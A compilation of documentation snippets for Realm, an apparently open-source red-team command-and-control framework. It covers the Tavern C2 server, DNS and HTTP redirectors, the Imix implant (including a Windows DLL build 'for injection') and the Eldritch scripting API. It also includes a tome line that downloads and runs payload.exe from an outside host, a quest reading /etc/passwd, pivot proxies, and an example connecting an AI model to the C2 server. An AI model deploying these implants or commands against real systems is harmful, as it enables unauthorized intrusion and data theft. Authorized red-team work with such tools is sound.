### Install and Package VS Code Extension Source: https://github.com/spellshift/realm/blob/main/vscode/README.md This snippet details the commands to navigate to the project directory, install the VS Code Extension Manager globally, package the extension into a .vsix file, and then install the packaged extension into VS Code. ```shell cd vscode/ npm install -g @vscode/vsce vsce package code --install-extension eldritch-0.0.3.vsix ``` -------------------------------- ### Environment Setup and Dependency Sync (Shell) Source: https://github.com/spellshift/realm/blob/main/bin/tavern-mcp/README.md This snippet details the commands to set up a Python virtual environment using 'uv', activate it, and synchronize project dependencies. It ensures the project has the necessary packages installed. ```shell uv venv source .venv/bin/activate uv sync ``` -------------------------------- ### Clone Realm Repository and Checkout Latest Release Source: https://github.com/spellshift/realm/blob/main/docs/_docs/user-guide/getting-started.md This snippet clones the Realm repository from GitHub and checks out the latest stable release tag. It's a prerequisite for starting the Tavern or Imix. ```bash git clone https://github.com/spellshift/realm.git cd realm git checkout -b latest $(git tag | tail -1) # Checkout the latest stable releases ``` -------------------------------- ### Start Tavern Redirector Source: https://github.com/spellshift/realm/blob/main/docs/_docs/user-guide/getting-started.md This command starts a Tavern redirector, allowing you to forward traffic from multiple IPs, Domains, and protocols (gRPC, HTTP/1.1, DNS). This enhances stealth by enabling communication through various channels. It requires the Tavern C2 to be running. ```bash go run ./tavern redirector --transport grpc http://127.0.0.1:8000 ``` -------------------------------- ### Start Tavern C2 Server Source: https://github.com/spellshift/realm/blob/main/docs/_docs/user-guide/getting-started.md This command starts the Tavern C2 (Command and Control) server, which acts as the central operations hub for your red team. It manages Beacons and provides a knowledge graph of the target environment. Ensure you have cloned the repository and checked out the latest release first. ```bash go run ./tavern ``` -------------------------------- ### MCP CLI Chat Command Example (Shell) Source: https://github.com/spellshift/realm/blob/main/bin/tavern-mcp/README.md This is an example command for using the 'mcp-cli' tool to initiate a chat session with the Tavern server. It specifies the server, AI provider, model, and disables filesystem access. ```shell mcp-cli chat --server tavern --provider anthropic --model claude-haiku-4-5 --disable-filesystem ``` -------------------------------- ### Start DNS Redirector with Multiple Domains Source: https://github.com/spellshift/realm/blob/main/docs/_docs/admin-guide/tavern.md This command starts the Tavern DNS redirector, listening on all interfaces on port 53. It is configured to handle DNS queries for 'c2.example.com' and 'backup.example.com', forwarding them to 'localhost:8000'. Ensure your DNS server is configured to delegate queries for these domains to the redirector's IP address. ```bash tavern redirector --transport dns --listen "0.0.0.0:53?domain=c2.example.com&domain=backup.example.com" localhost:8000 ``` -------------------------------- ### Start Tavern C2 Server (Bash) Source: https://context7.com/spellshift/realm/llms.txt Commands to clone the Realm repository, checkout the latest stable release, and start the Tavern C2 server. Supports default SQLite, MySQL, OAuth, and test data configurations. ```bash # Clone and checkout latest stable release git clone https://github.com/spellshift/realm.git && cd realm git checkout -b latest $(git tag | tail -1) # Start Tavern with default SQLite backend (development) go run ./tavern # Start with MySQL backend (production) MYSQL_USER="admin" MYSQL_PASSWD="secret" MYSQL_ADDR="127.0.0.1:3306" go run ./tavern # Start with OAuth authentication enabled OAUTH_CLIENT_ID="123.apps.googleusercontent.com" \ OAUTH_CLIENT_SECRET="your-secret" \ OAUTH_DOMAIN="tavern.example.com" \ go run ./tavern # Start with test data for UI development ENABLE_TEST_DATA=1 go run ./tavern ``` -------------------------------- ### Start a Tavern Redirector Source: https://github.com/spellshift/realm/blob/main/docs/_docs/admin-guide/tavern.md Starts a Tavern redirector service. This command requires specifying the transport protocol, the listening address, and the upstream gRPC address of the Tavern server. It allows for flexible traffic forwarding based on the chosen protocol. ```bash tavern redirector --transport --listen ``` -------------------------------- ### Example Host ID File Content (Linux) Source: https://github.com/spellshift/realm/blob/main/docs/_docs/dev-guide/imix.md Shows the content of a host ID file on Linux systems, which stores the UUIDv4 for host identification by Imix. ```bash [~]$ cat /etc/system-id 36b3c472-d19b-46cc-b3e6-ee6fd8da5b9c ``` -------------------------------- ### Implement GraphQL Query Resolver Source: https://github.com/spellshift/realm/blob/main/docs/_docs/dev-guide/tavern.md Illustrates how to implement a root query resolver in Go for a model in the Tavern GraphQL API. This example shows fetching all records of a specific model using Ent's client. ```go return r.client..Query().All(ctx) ``` -------------------------------- ### Start HTTP/1.1 Tavern Redirector Source: https://github.com/spellshift/realm/blob/main/docs/_docs/admin-guide/tavern.md Starts an HTTP/1.1 redirector for Tavern. This redirector listens on a specified address and forwards incoming HTTP/1.1 traffic to the upstream gRPC server. It's useful for enabling HTTP/1.1 communication with Tavern agents. ```bash # Start HTTP/1.1 redirector on port 8080 tavern redirector --transport http1 --listen ":8080" localhost:8000 ``` -------------------------------- ### Implement GraphQL Mutation Resolver Source: https://github.com/spellshift/realm/blob/main/docs/_docs/dev-guide/tavern.md Provides a concise example of implementing a mutation resolver in Go for the Tavern GraphQL API. This snippet demonstrates saving a new record using Ent's client and input object. ```go return r.client..Create().SetInput(input).Save(ctx) ``` -------------------------------- ### Compile Imix Agent for Linux (musl) Source: https://github.com/spellshift/realm/blob/main/docs/_docs/user-guide/imix.md This sequence of commands compiles the Imix agent for static linking on Linux using the musl C library. It first adds the musl target to the Rust toolchain, installs necessary musl tools, sets the callback URI, and then performs the release build for the specified target. This process ensures the Imix agent can run on various Linux distributions without external dependencies. ```bash rustup target add x86_64-unknown-linux-musl sudo apt update sudo apt install musl-tools cd realm/implants/imix/ export IMIX_CALLBACK_URI="http://localhost" cargo build --release --bin imix --target=x86_64-unknown-linux-musl ``` -------------------------------- ### Build and Run Imix Agent Source: https://github.com/spellshift/realm/blob/main/docs/_docs/user-guide/getting-started.md This command builds and runs the Imix agent, also known as a Beacon. Imix resides within the target network, awaiting commands via Eldritch Tomes. This snippet assumes you have cloned the repository and navigated to the implants/imix directory. Debug mode is enabled by default, logging operations. ```bash cd implants/imix && cargo run ``` -------------------------------- ### process.list Source: https://github.com/spellshift/realm/blob/main/docs/_docs/user-guide/eldritch.md Retrieves a list of all running processes on the system. ```APIDOC ## GET /process/list ### Description Returns a list of dictionaries, where each dictionary describes a running process on the system. ### Method GET ### Endpoint /process/list ### Response #### Success Response (200) - **processes** (array of objects) - A list of process descriptions. - **pid** (string) - The process ID. - **ppid** (string) - The parent process ID. - **status** (string) - The status of the process. - **name** (string) - The name of the process. - **path** (string) - The path to the executable. - **username** (string) - The username of the process owner. - **command** (string) - The command line used to start the process. - **cwd** (string) - The current working directory. - **environ** (string) - A string representation of environment variables. #### Response Example ```json [ { "pid": "9812", "ppid": "1", "status": "Sleeping", "name": "golem", "path": "/usr/bin/golem", "username": "root", "command": "/usr/bin/golem -i", "cwd": "/root/", "environ": "CARGO_PKG_REPOSITORY= CARGO_PKG_RUST_VERSION= CARGO_PKG_VERSION=0.1.0 CARGO_PKG_VERSION_MAJOR=0" }, ... ] ``` #### Error Response (500) - **error** (string) - Description of the error. ``` -------------------------------- ### Build and Run Tavern Server (Go) Source: https://github.com/spellshift/realm/blob/main/CLAUDE.md Starts the Tavern server, which provides the GraphQL API, Web UI, and gRPC API for the Realm framework. This command is executed from the project's root directory. ```bash # Start Tavern server (from project root) go run ./tavern ``` -------------------------------- ### Running a Builder CLI Command Source: https://github.com/spellshift/realm/blob/main/tavern/internal/builder/README.md Example of how to run the builder executable from the command line, specifying the path to its configuration file. ```bash go run ./tavern builder --config /path/to/builder-config.yaml ``` -------------------------------- ### HTTP GET Request Source: https://github.com/spellshift/realm/blob/main/docs/_docs/user-guide/eldritch.md Sends an HTTP GET request to the specified URI with optional query parameters and headers. Returns the response body as a string. Header names are transmuted to lowercase. ```APIDOC ## GET /api/http/get ### Description Sends an HTTP GET request to the specified URI with optional query parameters and headers. Returns the response body as a string. Header names are transmuted to lowercase. ### Method GET ### Endpoint `/api/http/get` ### Parameters #### Query Parameters - **uri** (str) - Required - The URI to send the GET request to. - **query_params** (Option>) - Optional - Query parameters to include in the request. - **headers** (Option>) - Optional - Headers to include in the request. - **allow_insecure** (Option) - Optional - Whether to allow insecure connections. ### Response #### Success Response (200) - **response_body** (str) - The response body as a string. #### Response Example ``` "Hello World" ``` ``` -------------------------------- ### Build Imix Agent for Different Platforms (Bash) Source: https://context7.com/spellshift/realm/llms.txt Instructions to build the Imix agent for Linux and Windows. Includes setting the server public key and callback URI, and building variants like static binaries, Windows services, and DLLs. ```bash # Navigate to imix directory cd realm/implants/imix # Get server public key for encryption export IMIX_SERVER_PUBKEY="$(curl http://localhost:8000/status | jq -r '.Pubkey')" # Build for Linux (static binary) rustup target add x86_64-unknown-linux-musl export IMIX_CALLBACK_URI="https://tavern.example.com" export IMIX_CALLBACK_INTERVAL="30" cargo build --release --bin imix --target=x86_64-unknown-linux-musl # Build for Windows export IMIX_CALLBACK_URI="https://tavern.example.example.com" cargo build --release --target=x86_64-pc-windows-gnu # Build Windows service variant cargo build --release --features win_service --target=x86_64-pc-windows-gnu # Build Windows DLL for injection cargo build --release --lib --target=x86_64-pc-windows-gnu ``` -------------------------------- ### Get Process Name by PID Source: https://github.com/spellshift/realm/blob/main/docs/_docs/user-guide/eldritch.md Retrieves the name of a process given its Process ID (PID). ```python process.name(pid: int) -> str ``` -------------------------------- ### Get Parent Directory Path Source: https://github.com/spellshift/realm/blob/main/docs/_docs/user-guide/eldritch.md Returns the parent directory of a given file or directory path. ```python file.parent_dir(path: str) -> str ``` -------------------------------- ### Pivot Bind Proxy Source: https://github.com/spellshift/realm/blob/main/docs/_docs/user-guide/eldritch.md Starts a SOCKS5 proxy on the specified port and interface, with optional username and password. ```APIDOC ## POST /api/pivot/bind_proxy ### Description Starts a SOCKS5 proxy on the specified port and interface, with optional username and password. ### Method POST ### Endpoint `/api/pivot/bind_proxy` ### Parameters #### Request Body - **listen_address** (str) - Required - The address to listen on. - **listen_port** (int) - Required - The port to listen on. - **username** (str) - Optional - The username for the proxy authentication. - **password** (str) - Optional - The password for the proxy authentication. ### Response #### Success Response (200) - **message** (str) - Indicates the proxy has started successfully. #### Response Example ```json { "message": "SOCKS5 proxy started on 0.0.0.0:8080" } ``` ``` -------------------------------- ### Quick Start: Clone and Run Realm Server and Agent Source: https://github.com/spellshift/realm/blob/main/README.md This snippet demonstrates how to clone the Realm repository, checkout the latest stable release, start the Tavern server, and then run the Imix agent in a separate terminal. It requires Git, Go, and Cargo (Rust's package manager). ```bash git clone https://github.com/spellshift/realm.git && cd realm git checkout -b latest $(git tag | tail -1) # Checkout the latest stable releases # Start Tavern (Server) go run ./tavern # In a new terminal, # Start Imix (Agent) cd realm/implants/imix && cargo run ``` -------------------------------- ### Get Process ID (Python) Source: https://github.com/spellshift/realm/blob/main/docs/_docs/user-guide/eldritch.md The sys.get_pid method returns the integer process ID of the current running process. ```python $> sys.get_pid() 123456 ``` -------------------------------- ### Build Golem as Stage 0 for Windows and Linux Source: https://github.com/spellshift/realm/blob/main/docs/_docs/user-guide/golem.md These bash commands illustrate how to build Golem as a stage 0 release for different operating systems. The first command builds an executable for Windows, while the second builds an executable for Linux, optimizing for build size. ```bash # Build imix.exe cargo build --release --target=x86_64-pc-windows-gnu # Build imix cargo build --release --bin imix --target=x86_64-unknown-linux-musl ``` -------------------------------- ### Eldritch Tome Example - Python Source: https://github.com/spellshift/realm/blob/main/docs/_docs/dev-guide/eldritch.md An example of how an Eldritch tome can be used to compose separate functionalities like downloading a file and executing it. This demonstrates the DSL's approach to breaking down complex actions into smaller, reusable functions. ```python http.download("http://fileserver.net/payload.exe", "C:/temp/") pprint(sys.exec("C:/temp/payload.exe")) ``` -------------------------------- ### Get Environment Variables (JSON) Source: https://github.com/spellshift/realm/blob/main/docs/_docs/user-guide/eldritch.md The sys.get_env method returns a dictionary representing the current process's environment variables. ```json { "FOO": "BAR", "CWD": "/" } ``` -------------------------------- ### GraphQL API - Create and Query Quests Source: https://context7.com/spellshift/realm/llms.txt Illustrates how to create quests to execute tomes on specified beacons and how to query the results of these quests. It includes details on specifying the tome ID, beacon IDs, and parameters for quest creation, and retrieving output and execution times for quest results. ```graphql mutation createQuest { createQuest(input: { name: "System Enumeration" tomeID: 1 beaconIDs: [1, 2, 3] parameters: "{\"path\": \"/etc/passwd\"}" }) { id name tasks { id beacon { name } } } } query questResults { quests { edges { node { id name tasks { id output execStartedAt execFinishedAt beacon { host { name } } } } } } } ``` -------------------------------- ### Send HTTP GET Request Source: https://github.com/spellshift/realm/blob/main/docs/_docs/user-guide/eldritch.md Sends an HTTP GET request to a specified URI with optional query parameters and headers. It returns the response body as a string. All header names are converted to lowercase to comply with HTTP2+ standards. Insecure connections are allowed if specified. ```eldritch http.get(uri: str, query_params: Option>, headers: Option>, allow_insecure: Option) -> str ``` -------------------------------- ### Get Network Interfaces (JSON) Source: https://github.com/spellshift/realm/blob/main/docs/_docs/user-guide/eldritch.md The sys.get_ip method returns a list of dictionaries, where each dictionary describes a network interface with its name and IP address. ```json [ { "name": "lo0", "ip": "127.0.0.1" }, { "name": "lo0", "ip": "::1" }, { "name": "en0", "ip": "fd5f:a709:7357:f34d:c8f:9bc8:ba40:db15" }, { "name": "en0", "ip": "10.0.124.42" } ] ``` -------------------------------- ### GraphQL API - Creating Quests Source: https://context7.com/spellshift/realm/llms.txt Create quests to execute Tomes on selected beacons and query the results of these quests. ```APIDOC ## GraphQL API - Creating Quests ### Description Create quests to execute Tomes on selected beacons and query the results of these quests. ### Method POST ### Endpoint https://tavern.example.com/graphql ### Parameters #### Query Parameters - **query** (string) - Required - The GraphQL query string. ### Request Example ```graphql # Create a quest to run a tome on specific beacons mutation createQuest { createQuest(input: { name: "System Enumeration" tomeID: 1 beaconIDs: [1, 2, 3] parameters: "{\"path\": \"/etc/passwd\"}" }) { id name tasks { id beacon { name } } } } # Query quest results query questResults { quests { edges { node { id name tasks { id output execStartedAt execFinishedAt beacon { host { name } } } } } } } ``` ### Response #### Success Response (200) - **data** (object) - Contains the result of the GraphQL query. - **createQuest** (object) - Information about the created quest. - **id** (string) - The unique identifier for the quest. - **name** (string) - The name of the quest. - **tasks** (array) - A list of tasks associated with the quest. - **id** (string) - The unique identifier for the task. - **beacon** (object) - Information about the beacon the task is assigned to. - **name** (string) - The name of the beacon. - **quests** (object) - Information about quests. - **edges** (array) - A list of quest edges. - **node** (object) - Details of a single quest. - **id** (string) - The unique identifier for the quest. - **name** (string) - The name of the quest. - **tasks** (array) - A list of tasks associated with the quest. - **id** (string) - The unique identifier for the task. - **output** (string) - The output of the task execution. - **execStartedAt** (string) - The timestamp when the task execution started. - **execFinishedAt** (string) - The timestamp when the task execution finished. - **beacon** (object) - Information about the beacon the task was executed on. - **host** (object) - Information about the host of the beacon. - **name** (string) - The name of the host. #### Response Example ```json { "data": { "createQuest": { "id": "101", "name": "System Enumeration", "tasks": [ { "id": "201", "beacon": { "name": "Beacon-A" } } ] } } } ``` ``` -------------------------------- ### Get Process Information Source: https://github.com/spellshift/realm/blob/main/docs/_docs/user-guide/eldritch.md Retrieves detailed information about a process, identified by its Process ID (PID). If no PID is provided, it defaults to the current process. ```python process.info(pid: Optional[int]) -> Dict ``` -------------------------------- ### Docker Deployment for Local Development Source: https://context7.com/spellshift/realm/llms.txt Provides commands to run the Tavern application using Docker for local development and testing. Includes options for pulling the latest image, running with default settings, enabling test data, using a MySQL backend, and mounting persistent secrets. ```bash # Pull latest stable image docker pull spellshift/tavern:latest # Run with default settings (SQLite, no auth) docker run -p 8000:8000 spellshift/tavern:latest # Run with test data enabled docker run -p 8000:8000 \ -e ENABLE_TEST_DATA=1 \ spellshift/tavern:latest # Run with MySQL backend docker run -p 8000:8000 \ -e MYSQL_ADDR="host.docker.internal:3306" \ -e MYSQL_USER="tavern" \ -e MYSQL_PASSWD="password" \ -e MYSQL_DB="tavern" \ spellshift/tavern:latest # Run with persistent secrets file docker run -p 8000:8000 \ -v /path/to/secrets:/secrets \ -e SECRETS_FILE_PATH="/secrets" \ spellshift/tavern:latest # Build custom image cd realm docker build --tag tavern:custom --file ./docker/tavern.Dockerfile . docker run -p 8000:8000 tavern:custom ``` -------------------------------- ### Early Return Pattern (Go) Source: https://github.com/spellshift/realm/blob/main/AGENTS.md Demonstrates the 'line-of-sight' coding principle in Go by using early returns to handle edge cases and simplify control flow. This avoids deep indentation and improves readability. ```golang func doAThing(myparam *Thing): if myparam == nil { // Return early return } if myparam.Other <= 25 { // Perform an op and return early myparam.Other += 1 return } // Expected code after edge cases have been handled fmt.Printf("myparam.Other has reached %d\n", myparam.Other) ``` -------------------------------- ### Tome Metadata Example Source: https://github.com/spellshift/realm/blob/main/docs/_docs/user-guide/tomes.md An example of a metadata.yml file for a Tome, defining its name, description, author, tactic, support model, and parameters. The 'paramdefs' section specifies parameters like 'path' with its type, label, and placeholder, which are then accessible via input_params in the Eldritch script. ```yaml name: List files description: List the files and directories found at the path. Supports basic glob functionality. Does not glob more than one level. author: hulto tactic: RECON support_model: COMMUNITY paramdefs: - name: path type: string label: File path placeholder: "/etc/open*" ``` -------------------------------- ### Configure Imix with Multiple Transports (Bash) Source: https://context7.com/spellshift/realm/llms.txt Example of setting environment variables for Imix to use multiple fallback transports (gRPC, HTTP/1.1, DNS) with specific configurations and building the agent. ```bash # Set up multi-transport configuration export IMIX_CONFIG=' transports: - URI: "https://primary.example.com" type: "grpc" interval: 5 extra: "" - URI: "http://backup.example.com:8080" type: "http1" interval: 10 extra: "{\"http_proxy\": \"http://proxy.internal:3128\"}" - URI: "dns://*" type: "dns" interval: 60 extra: "{\"domain\": \"c2.example.com\", \"type\": \"txt\"}" server_pubkey: "YOUR_BASE64_PUBKEY_HERE" ' # Build with multi-transport config cargo build --release --bin imix --target=x86_64-unknown-linux-musl ``` -------------------------------- ### Get Callback Interval - Agent Source: https://github.com/spellshift/realm/blob/main/docs/_docs/user-guide/eldritch.md Fetches the current interval, in seconds, at which the agent makes callbacks. This value dictates the frequency of communication back to a central server. ```python agent.get_callback_interval() ``` -------------------------------- ### Run Go Tests Source: https://github.com/spellshift/realm/blob/main/CLAUDE.md Executes all unit and integration tests for the Go components of the Realm project. This command should be run from the project's root directory. ```bash # Run all Go tests go test ./... ``` -------------------------------- ### Get Registry Values (Python) Source: https://github.com/spellshift/realm/blob/main/docs/_docs/user-guide/eldritch.md The sys.get_reg method retrieves registry values from a specified hive and path on Windows systems. It returns a dictionary of the found registry entries. ```python $> sys.get_reg("HKEY_LOCAL_MACHINE","SOFTWARE\\Microsoft\\Windows\\CurrentVersion") { "ProgramFilesDir": "C:\\ Program Files", "CommonFilesDir": "C:\\ Program Files\\Common Files", "ProgramFilesDir (x86)": "C:\\ Program Files (x86)", "CommonFilesDir (x86)": "C:\\ Program Files (x86)\\Common Files", "CommonW6432Dir": "C:\\ Program Files\\Common Files", "DevicePath": "%SystemRoot%\\inf", "MediaPathUnexpanded": "%SystemRoot%\\Media", "ProgramFilesPath": "%ProgramFiles%", "ProgramW6432Dir": "C:\\ Program Files", "SM_ConfigureProgramsName": "Set Program Access and Defaults", "SM_GamesName": "Games" } ``` -------------------------------- ### Build Imix for Windows (Release) Source: https://github.com/spellshift/realm/blob/main/docs/_docs/user-guide/imix.md Builds the imix.exe executable for Windows using Cargo. Supports building as a release executable or as a Windows service. Also includes instructions for building imix.dll. ```bash # Build imix cd realm/implants/imix/ export IMIX_CALLBACK_URI="http://localhost" # Build imix.exe cargo build --release --target=x86_64-pc-windows-gnu # Build imix.exe - As a service cargo build --release --features win_service --target=x86_64-pc-windows-gnu # Build imix.dll cargo build --release --lib --target=x86_64-pc-windows-gnu ``` -------------------------------- ### Start SOCKS5 Proxy Source: https://github.com/spellshift/realm/blob/main/docs/_docs/user-guide/eldritch.md Initiates a SOCKS5 proxy on a specified listen address and port, with optional username and password authentication. This allows for connecting and pivoting within an environment. ```eldritch pivot.bind_proxy(listen_address: str, listen_port: int, username: str, password: str ) -> None ``` -------------------------------- ### Get Active Transport - Agent Source: https://github.com/spellshift/realm/blob/main/docs/_docs/user-guide/eldritch.md Retrieves the name of the currently active transport mechanism used by the agent. This is useful for understanding the communication method the agent is currently employing. ```python agent.get_transport() ``` -------------------------------- ### GraphQL API - Manage Shells Source: https://context7.com/spellshift/realm/llms.txt Shows how to interact with reverse shells via the GraphQL API. Queries are provided to list all active shells, including their associated beacon and host information, and to retrieve detailed information about a specific shell, including its task history. ```graphql query shells { shells { edges { node { id closedAt beacon { id name host { name primaryIP } } } } } } query shellDetails { shells(where: {id: 1}) { edges { node { id beacon { host { name } tasks { id output } } } } } } ``` -------------------------------- ### Build Custom Tavern Docker Container Source: https://github.com/spellshift/realm/blob/main/docs/_docs/admin-guide/tavern.md This command demonstrates how to build a custom Docker container for Tavern. Navigate to the `./realm` directory and execute the `docker build` command with the specified tag and Dockerfile. This is useful if you need to deploy Tavern using your own container image instead of the published versions. ```bash cd ./realm docker build --tag tavern:dev --file ./docker/tavern.Dockerfile . ``` -------------------------------- ### Get Operating System Information (JSON) Source: https://github.com/spellshift/realm/blob/main/docs/_docs/user-guide/eldritch.md The sys.get_os method returns a dictionary containing details about the current system's operating system, including architecture, distribution, and platform. ```json { "arch": "x86_64", "desktop_env": "Unknown: Unknown", "distro": "Debian GNU/Linux 10 (buster)", "platform": "PLATFORM_LINUX" } ``` -------------------------------- ### GraphQL: Create Download Link with Expiry and Downloads Source: https://github.com/spellshift/realm/blob/main/docs/_docs/admin-guide/tavern.md Create a download link for an uploaded asset using GraphQL. This mutation allows specifying an expiration date, remaining downloads, and a custom path. It returns the path of the generated link. ```graphql mutation tempLink { createLink(input: {expiresAt: "2026-02-02T21:33:18Z", downloadsRemaining: 10, path: "notmalware", assetID: 4}) { path } } ``` -------------------------------- ### Get Network Socket Information Source: https://github.com/spellshift/realm/blob/main/docs/_docs/user-guide/eldritch.md Returns information about TCP, UDP, and Unix sockets on the system, including the attached process information if available. Currently, it only displays LISTENING TCP connections. ```python process.netstat() -> List[Dict] ``` -------------------------------- ### Get User Information (JSON) Source: https://github.com/spellshift/realm/blob/main/docs/_docs/user-guide/eldritch.md The sys.get_user method returns a dictionary detailing the current process's running user, including UID, EUID, GID, EGID, and user/group mappings on *Nix systems. ```json { "uid": { "uid": 0, "name": "root", "gid": 0, "groups": ["root"] }, "euid": { "uid": 0, "name": "root", "gid": 0, "groups": ["root"] }, "gid": 0, "egid": 0 } ``` -------------------------------- ### Run Tavern with MySQL Backend Source: https://github.com/spellshift/realm/blob/main/docs/_docs/admin-guide/tavern.md This command starts the Tavern application configured to use a MySQL database as its backend. It specifies the MySQL user and the address of the MySQL server. This allows for persistent data storage instead of the default in-memory SQLite database. ```sh MYSQL_USER="admin" MYSQL_ADDR="127.0.0.1:3306" go run ./tavern ``` -------------------------------- ### Deploy Tavern Redirectors for Transport Protocols (Bash) Source: https://context7.com/spellshift/realm/llms.txt Commands to list available redirector transports and start redirectors for gRPC, HTTP/1.1, and DNS protocols, including configurations for load balancing and multiple domains. ```bash # List available redirector transports tavern redirector list # Start gRPC passthrough redirector (load balancing/multiple IPs) tavern redirector --transport grpc --listen ":9000" localhost:8000 # Start HTTP/1.1 redirector for legacy compatibility tavern redirector --transport http1 --listen ":8080" localhost:8000 # Start DNS redirector for covert C2 tavern redirector --transport dns \ --listen "0.0.0.0:53?domain=c2.example.com" \ localhost:8000 # DNS redirector with multiple domains tavern redirector --transport dns \ --listen "0.0.0.0:53?domain=c2.example.com&domain=backup.example.com" \ localhost:8000 ```